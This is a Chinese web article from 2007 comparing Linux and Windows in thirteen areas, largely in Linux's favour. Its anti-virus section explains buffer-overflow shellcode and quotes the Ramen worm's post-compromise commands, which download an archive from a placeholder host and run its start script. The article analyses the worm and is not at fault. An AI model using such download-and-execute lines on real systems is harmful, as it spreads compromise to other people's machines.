新聞中心

EEPW首頁 > 嵌入式系統(tǒng) > 設(shè)計(jì)應(yīng)用 > Linux與Windows在十三方面進(jìn)行大對決

Linux與Windows在十三方面進(jìn)行大對決

作者: 時(shí)間:2007-01-11 來源:網(wǎng)絡(luò) 收藏

本文引用地址:http://butianyuan.cn/article/258242.htm

  是一套免費(fèi)使用和自由傳播的類UNIX操作系統(tǒng),主要用于基于Intel x86系列CPU的計(jì)算機(jī)上。系統(tǒng)是由全世界各地的成千上萬的程序員設(shè)計(jì)和實(shí)現(xiàn)的,其目的是建立不受任何商品化軟件的版權(quán)所制約的、全世界都能自由使用的UNIX兼容產(chǎn)品。Windows同樣主要用于基于Intel x86系列CPU的計(jì)算機(jī)上。本文將它們作一個(gè)比較?!?

  (一) 編程篇 

  一般人們習(xí)慣于認(rèn)為Linus是的締造者,在Linux包含的數(shù)以千計(jì)的文件中,也有一個(gè)名為Credits的文件記錄了主要的Linux Hacker們的姓名和電子郵件地址(這個(gè)列表中包含了100多個(gè)名字,世界各地的都有),但沒有人說得清究竟有多少人參與了Linux的改進(jìn)。這一游戲到今天并沒有隨著時(shí)間的推移而停止,相反卻因?yàn)長inux的日益流行而愛好者甚眾。因此開始使用Linux就猶如加入了一個(gè)高手如云的編程組織。你可以通過互聯(lián)網(wǎng)隨時(shí)了解來自地球的某一個(gè)角落的該領(lǐng)域的最新進(jìn)展;如果你的英文足夠好,加入一個(gè)討論組,你就可以得到不知來自什么地方的神密高手的點(diǎn)撥。由于GPL的存在,你還可以得到開放的源代碼,從而不用發(fā)愁學(xué)習(xí)資料的來源。隨著更多專業(yè)公司的介入,Linux可以提供的開發(fā)工具的功能也越發(fā)強(qiáng)大。如TurboLinux就具有強(qiáng)大的應(yīng)用程序開發(fā)環(huán)境,提供了各種開發(fā)應(yīng)用程序的工具,具有對多種語言如:C、C++、Java、Perl、Tcl/tk、Python和Fortran 77的編譯器/解釋器,以及集成開發(fā)環(huán)境、調(diào)試和其他開發(fā)工具。再如Janus Software公司開發(fā)的被稱為Linux版VB的Phoenix Object Basic,它是一套獨(dú)特的面向?qū)ο蟮腖inux RAD(Rapid Application Development,快速應(yīng)用軟件開發(fā)工具)。它綜合了Python 和Perl等面向?qū)ο缶幊陶Z言的強(qiáng)大功能,同時(shí),提供了類似 Visual Basic 的易用性。熟悉Windows環(huán)境下Visual Basic的編程者都可以順利地使用Phoenix Object Basic。LynuxWorks 公司的VisualLynux可以和微軟的Visual C++相媲美,它集成了微軟Visual C++開發(fā)工具以支持Linux操作系統(tǒng)的產(chǎn)品,它不但兼容LynuxWorks公司的 BlueCat Linux,而且還兼容其他的Linux 2.2.12版本。LynuxWorks 公司甚至聲稱從此Visual C++ 就具備了開發(fā)嵌入式 Linux 應(yīng)用程序的能力。嵌入式 Linux 系統(tǒng)現(xiàn)在相當(dāng)熱門,已經(jīng)廣泛地應(yīng)用在各式各樣的通信基礎(chǔ)產(chǎn)品。Linux可以完成任何Windows下的編程任務(wù)。這一篇,LINUX占了上風(fēng)。

  (二) 運(yùn)行平臺(tái)篇 

  在這個(gè)IT技術(shù)日新月異的年代,盡管每個(gè)IT廠商都嚷著他們的產(chǎn)品可以有效地降低我們的TCO(總擁有成本),可我們手里設(shè)備的折舊速度還是在不斷加快。如果你肯聽我的,我會(huì)說這世上從來就沒有救世主,還是試試我推薦的Linux吧?!?

  Linux非常小,可以有效地利用硬件。Linux的最小安裝僅需要4MB內(nèi)存,而你也可以在你的486機(jī)器上安裝Linux并將其用做防火墻或Web服務(wù)器。我記得的Linux論壇有人用二手386建立了路由器和防火墻。Linux內(nèi)核允許在運(yùn)行時(shí)裝載和卸載硬件的驅(qū)動(dòng)程序。這樣因?yàn)椴槐匮b載全部的驅(qū)動(dòng)程序,就可以最大化地使用內(nèi)存??傊甃inux可以使老機(jī)器獲得新生,節(jié)省我們的財(cái)力。而Windows2000 SERVER在P166+64M下運(yùn)行如同像蝸牛一樣慢,有時(shí)會(huì)逼瘋你?!∵@一篇,LINUX占了上風(fēng)?!?

  (三) 硬件支持篇 

  由于開放源代碼的特點(diǎn)LINUX得到AMD和INTEL公司的關(guān)注。因?yàn)檫@兩家公司都希望在64位芯片時(shí)代能夠和開放源代碼的操作系統(tǒng)系統(tǒng)緊密聯(lián)系LINUX的發(fā)展速度急快,從它的內(nèi)核就可以看出。LINUX比其他操作系統(tǒng)更能適應(yīng)芯片技術(shù)發(fā)展。在2001年的LINUX大會(huì)上,IBM帶來為LINUX制作的電子商務(wù)套間WEBSHERE COMMERCE 5.1,HP帶來為LINUX制作的電子商務(wù)套間HP SECURE OS SOFTWARE FOR Linux?,F(xiàn)在LINUX可以廣泛運(yùn)行在64位芯片構(gòu)架中,包括Compaq Alpha, SGI MIPS,Sun UltraSparc。而WINDOWS落后一步?!∽钚碌腖inux內(nèi)核——2。.52版中最引人注意的改進(jìn)就是Iinux內(nèi)核開始支持最新的usB技術(shù)。usB 2.0可以確保數(shù)據(jù)傳輸速度達(dá)到480Mb/s,這個(gè)速度是usBl.1最高傳輸速度的40倍。usB 2.0模塊一般沒有內(nèi)置在計(jì)算機(jī)系統(tǒng)當(dāng)中?,F(xiàn)在更為流行的是使用Firewire標(biāo)準(zhǔn)來實(shí)現(xiàn)高速連接功能,比如連接視頻頭、硬盤等等。微軟已經(jīng)編寫了支持usB 2.0“的代碼,但是在最新的操作系統(tǒng)windows xP中卻不支持USB 2.0?!∵@一篇,LINUX占了上風(fēng)。

  (四) 網(wǎng)絡(luò)篇 

  Linux的組網(wǎng)能力非常強(qiáng)大,它的TCP/IP代碼是最高級的。Linux提供了對于當(dāng)前的TCP/IP協(xié)議的完全支持,并且包括了對下一代Internet。協(xié)議Ipv6的支持。Linux內(nèi)核還包括了IP防火墻代碼、IP防偽、IP服務(wù)質(zhì)量控制及許多安全特性。這些特性可以和像Cisco這樣的公司提供的高端路由設(shè)備的特性相媲美。此外,利用Redhat Linux 提供的Samba 組(并不是RedHat Linux獨(dú)有),Linux 可以作為Windows 客戶機(jī)的打印和文件服務(wù)器,還可以用做NT的文件和打印服務(wù)器。運(yùn)用Linux包含的AppleTalk模塊,Linux甚至可以作為一個(gè)Macintosh客戶機(jī)的文件和打印服務(wù)器。讓Apache 這個(gè)世界上應(yīng)用范圍最廣的Web服務(wù)器軟件系統(tǒng)跑在Linux上,你就可以運(yùn)行自己的Intranet或者Internet web服務(wù)器。Linux還包含了一個(gè)Ftp 服務(wù)程序、一個(gè)電子郵件傳輸代理程序以及,POP和IMAP郵件服務(wù)程序。如果你愿意,你還可以在Internet上免費(fèi)獲得一個(gè)Linux的LDAP服務(wù)程序。性能超群穩(wěn)定的APACHE服務(wù)器也是許多網(wǎng)絡(luò)管理員選擇LINUX的原因如果我們沒有機(jī)會(huì)選擇UNIX,LINUX是個(gè)好選擇,微軟的IIS是無法與之匹敵?!∵@一篇,LINUX占了上風(fēng)。

  (五) 設(shè)備驅(qū)動(dòng)篇 

  早期的LINUX對硬件設(shè)備的支持不好,大家拒絕使用的一個(gè)重要方面是驅(qū)動(dòng)程序不好找。不過隨著內(nèi)核升級到2.4各個(gè)主要LINUX軟件提供商的產(chǎn)品已經(jīng)可以識(shí)別象刻錄機(jī),掃描儀等新設(shè)備。不過和微軟件安裝驅(qū)動(dòng),LINUX占了下風(fēng) 。

  (六) UNIX能力篇 

  Linux為廣大用戶提供了一個(gè)在家里學(xué)習(xí)和使用Unix操作系統(tǒng)的機(jī)會(huì)。盡管Linux是由計(jì)算機(jī)愛好者們開發(fā)的,但是它在很多方面上是相當(dāng)穩(wěn)定的,從而為用戶學(xué)習(xí)和使用目前世界上最流行的Unix操作系統(tǒng)提供了廉價(jià)的機(jī)會(huì)。現(xiàn)在有許多CD-ROM供應(yīng)商和軟件公司(如RedHat和TurboLinux)支持Linux操作系統(tǒng)。Linux成為Unix系統(tǒng)在個(gè)人計(jì)算機(jī)上的一個(gè)代用品,并能用于替代那些較為昂貴的系統(tǒng)。因此,如果一個(gè)用戶在公司上班的時(shí)候在Unix系統(tǒng)上編程,或者在工作中是一位Unix的系統(tǒng)管理員,他就可以在家里安裝一套Unix的兼容系統(tǒng),即Linux系統(tǒng),在家中使用Linux就能夠完成一些工作任務(wù)?!?

  這一篇,LINUX占了上風(fēng) 。

  (七)性能篇 

  Linux操作系統(tǒng)在短短的幾年之內(nèi)得到了非常迅猛的發(fā)展,這與Linux具有的良好特性是分不開的。Linux包含了Unix的全部功能和特性。簡單的說,Linux具有以下主要特性: 

  1、開放性 

  開放性是指系統(tǒng)遵循世界標(biāo)準(zhǔn)規(guī)范,特別是遵循開放系統(tǒng)互連(OSI)國際標(biāo)準(zhǔn)。凡遵循國際標(biāo)準(zhǔn)所開發(fā)的硬件和軟件,都能彼此兼容,可方便地實(shí)現(xiàn)互連。 

  2、多用戶 

  多用戶是指系統(tǒng)資源可以被不同用戶各自擁有使用,即每個(gè)用戶對自己的資源(例如:文件、設(shè)備)有特定的權(quán)限,互不影響。Linux和Unix都具有多用戶的特性。 

  3、多任務(wù) 

  多任務(wù)是現(xiàn)代計(jì)算機(jī)的最主要的一個(gè)特點(diǎn)。它是指計(jì)算機(jī)同時(shí)執(zhí)行多個(gè)程序,而且各個(gè)程序的運(yùn)行互相獨(dú)立。Linux系統(tǒng)調(diào)度每一個(gè)進(jìn)程平等地訪問微處理器。由于CPU的處理速度非常快,其結(jié)果是,啟動(dòng)的應(yīng)用程序看起來好像在并行運(yùn)行。事實(shí)上,從處理器執(zhí)行一個(gè)應(yīng)用程序中的一組指令到Linux調(diào)度微處理器再次運(yùn)行這個(gè)程序之間只有很短的時(shí)間延遲,用戶是感覺不出來的?!?

  經(jīng)過對最重量級的數(shù)據(jù)庫ORACLE 8.1.6測試,在LINUX下的運(yùn)行速度比在WIN2000 SERVER要快35%。這一篇,LINUX占了上風(fēng)。

  (八)創(chuàng)新篇 

  Linux是自由軟件,而自由軟件和非自由軟的區(qū)別在于: 

  1. 自由軟件是開放的,成千上萬的人可以檢查這個(gè)軟件,快速地找到并修改其錯(cuò)誤碼。 

  2. 最終用戶可以按照自己的意愿自定義自由軟件,有特殊需要的用戶也可以完全按照他們認(rèn)為合適的方式定制自己的Linux?!?

  3. 自由軟件為了防止重復(fù)發(fā)明,通過共享源代碼和思想來節(jié)省很多工作量?!?

  以上這些特性是不是對有想法的好事者有莫大的吸引力?不僅如此,Linux由于自身的優(yōu)點(diǎn),應(yīng)用領(lǐng)域也越來越廣泛。如最近嵌入式Linux的應(yīng)用相當(dāng)熱門,已廣泛應(yīng)用于包括筆記本電腦、連網(wǎng)裝置、網(wǎng)絡(luò)電視等在內(nèi)的各式各樣的通信基礎(chǔ)產(chǎn)品,而嵌入式操作系統(tǒng)正日益成為一種勢不可擋的流行趨勢,最終電腦、通訊、家電會(huì)因?yàn)樗拇嬖诙蔀橐惑w。這些也為有想法的好事者提供了更廣闊的發(fā)揮空間。在夢想就是力量的今天,沒有了創(chuàng)新能力是不可想象的?!∪绻憧偸鞘褂梦④浀拈_發(fā)工具,你一生只能做個(gè)操作人員。 。這一篇,LINUX占了上風(fēng) 

  (九)防病毒篇 

  1998年的CIH病毒讓全世界人民為之膽怯,隨之而來的基于OUTLOOK傳播美莉莎,歡樂時(shí)光等病毒更是是IT行業(yè)以及相關(guān)領(lǐng)域損失慘重。。而LINUX方面關(guān)于世界上第一個(gè)Linux病毒——reman已經(jīng)出現(xiàn)的說法,我們得到該病毒的有關(guān)資料和樣本之后發(fā)現(xiàn),嚴(yán)格地說,reman并不能被稱為病毒。實(shí)際上這是一個(gè)古老的,在NIX/Linux世界早已存在的“緩沖區(qū)溢出”攻擊程序。幾乎所有UNIX/Linux版本中都或多或少地存在這樣的問題。第一次此種類型的攻擊(morris worm),到現(xiàn)在已經(jīng)十多年了,并不是等到現(xiàn)在才“出現(xiàn)”的。事實(shí)上針對windows 98/NT的緩沖區(qū)溢出攻擊也是很常見的?!?

  緩沖區(qū)溢出的原理是:向一個(gè)有限空間的緩沖區(qū)拷貝了過長的字符串,覆蓋相鄰的存儲(chǔ)單元,會(huì)引起程序運(yùn)行失敗。因?yàn)樽詣?dòng)變量保存在堆棧當(dāng)中,當(dāng)發(fā)生緩沖區(qū)溢出的時(shí)候,存儲(chǔ)在堆棧中的函數(shù)反回地址也會(huì)被覆蓋從而無法從發(fā)生溢出的函數(shù)正常返回(返回地址往往是一個(gè)無效的地址),在這樣的情況下系統(tǒng)一般報(bào)告:“core dump”或“segment fault”。嚴(yán)重的是:如果覆蓋緩沖區(qū)的是一段精心設(shè)計(jì)的機(jī)器指令序列,它可能通過溢出,改變返回地址,將其指向自己的指令序列,從而改變該程序的正常流程。這段精心設(shè)計(jì)的指令一般的目的是:“/bin/sh”,所以這段代碼被稱為:“shell code”。通過這樣的溢出可以得到一個(gè)shell,僅此而已。但是,如果被溢出是一個(gè)suid root程序,得到的將是一個(gè)root shell。這樣機(jī)器的控制權(quán)已經(jīng)易手,此后發(fā)生的任何事情都是合理的?!?

  下面我們回到reman。它首先對網(wǎng)絡(luò)上的主機(jī)進(jìn)行掃描,通過兩個(gè)普通的漏洞進(jìn)入系統(tǒng),獲取root權(quán)限,然后從源主機(jī)復(fù)制自身,以繼續(xù)掃描網(wǎng)上其他服務(wù)器。對于Red Hat 6.2來講,如果攻擊成功,它會(huì)做以下工作:

mkdir /usr/src/.poop;cd /usr/src/.poop

export TERM=vt100

lynx -source http://FROMADDR:27374 > /usr/src/.poop/rame.tgz

cp ramen.tgz /tmp

gzip -d ramen.tgz;tar -xvf ramen.tar;./start.sh

echo Eat Your Ramen!   mail -s TOADDR -c  

很明顯,reman只是一個(gè)自動(dòng)化了的緩沖區(qū)溢出程序,而且是很普通的一種。目前緩沖區(qū)溢出攻擊是非常普遍的一種攻擊,黑客網(wǎng)站對各類系統(tǒng)的漏洞的發(fā)布幾乎每日更新。但是這種攻擊方式并不是不可避免,目前已有很多對付該類攻擊的方案。這一篇,LINUX占了上風(fēng)。

  (十)穩(wěn)定能力篇 

  運(yùn)行Linux的機(jī)器啟動(dòng)一次可以運(yùn)行數(shù)月。Linux提供了完全的內(nèi)存保護(hù),每個(gè)進(jìn)程都運(yùn)行在自己的虛擬地址空間中,并且不會(huì)損壞其他進(jìn)程或內(nèi)核使用的地址空間。任務(wù)與內(nèi)核間也是相互隔離,即行為不良或編寫不良的程序只能毀壞自己。因此被破壞的進(jìn)程幾乎不可能使系統(tǒng)崩潰。Linux在和Windows98和NT在安全性的較量中占有上風(fēng),和Windows2000的情況又怎么樣呢?資深的系統(tǒng)安全分析家指出:Windows 2000在網(wǎng)絡(luò)系統(tǒng),服務(wù)器連接方面的工作準(zhǔn)備不足,Linux仍然是目前最安全的操作系統(tǒng)。資深的系統(tǒng)安全分析家還預(yù)計(jì)到今年年底Windows 2000才能完成測試、除蟲工作,而微軟的WONDOWS XP推出不久,筆者不敢多家評論。目前比較安全的操作系統(tǒng)仍然是商業(yè)版本的UNIX和Linux。資深的系統(tǒng)安全分析家肯定地認(rèn)為:在未來的5年里,Linux將成為最安全的操作系統(tǒng)。到2005年,管理和使用Linux將是一件十分容易的事情。LINUX在本篇占了上風(fēng)?!?

  (十一)購買能力篇 

  這是一個(gè)不容回避的問題。因?yàn)閮r(jià)格原因,每個(gè)人都可以擁有正版的Linux。此外除了技術(shù)上的原因,它更大的意義是代表了一種開放性的軟件開發(fā)及開放模式,并徹底打破了越優(yōu)秀的軟件價(jià)格越高這一傳統(tǒng)定式Linux還是一個(gè)完全開放的系統(tǒng)。它支持各種像POSIX標(biāo)準(zhǔn)這樣的開放標(biāo)準(zhǔn)和TCP/IP的Internet工程任務(wù)組標(biāo)準(zhǔn)。由于避免了專有的API(應(yīng)用程序接口)和協(xié)議,可以減少對單一供應(yīng)商的依賴。這樣就不會(huì)出現(xiàn)像使用專用系統(tǒng)的情況:一旦犯了錯(cuò)誤,只能繼續(xù)使用原來的系統(tǒng)供用商的產(chǎn)品。也就是不會(huì)出現(xiàn)先享受低價(jià),而在后期需要付出高額服務(wù)費(fèi)的情況。本篇中LINUX占了上風(fēng)。 

  (十二)安裝難易篇 

  早期的LINUX安裝復(fù)雜對于新手更要冒丟失數(shù)據(jù)的風(fēng)險(xiǎn)。不過隨著內(nèi)核升級到2.4后各個(gè)主要LINUX軟件提供商的產(chǎn)品安裝已經(jīng)變得簡單。不過和微軟件安裝相比,Linux占了下風(fēng) 

  (十三)總結(jié)篇 

  開放源代碼是大勢所趨,Linux前途廣闊,但道路是艱苦卓絕。微軟在IT業(yè)不景氣的情況下,仍然保持著兩位數(shù)增長。而一些LINUX廠商(如VI LINUX)出現(xiàn)大幅虧損。。還有一個(gè)問題現(xiàn)在一些LINUX廠商熱衷于把Linux的XWINDOWS做的很好媒體也大加宣傳,Linux的優(yōu)勢在于網(wǎng)絡(luò),嵌入式信息家電.和微軟拼桌面是不明智的。微軟是一個(gè)整體,Linux廠商要防止被各個(gè)擊破。我喜歡Linux但我也不想看到微軟倒下,只有競爭才能是消費(fèi)者得到好處。

linux操作系統(tǒng)文章專題:linux操作系統(tǒng)詳解(linux不再難懂)


關(guān)鍵詞: Linux

評論


相關(guān)推薦

技術(shù)專區(qū)

關(guān)閉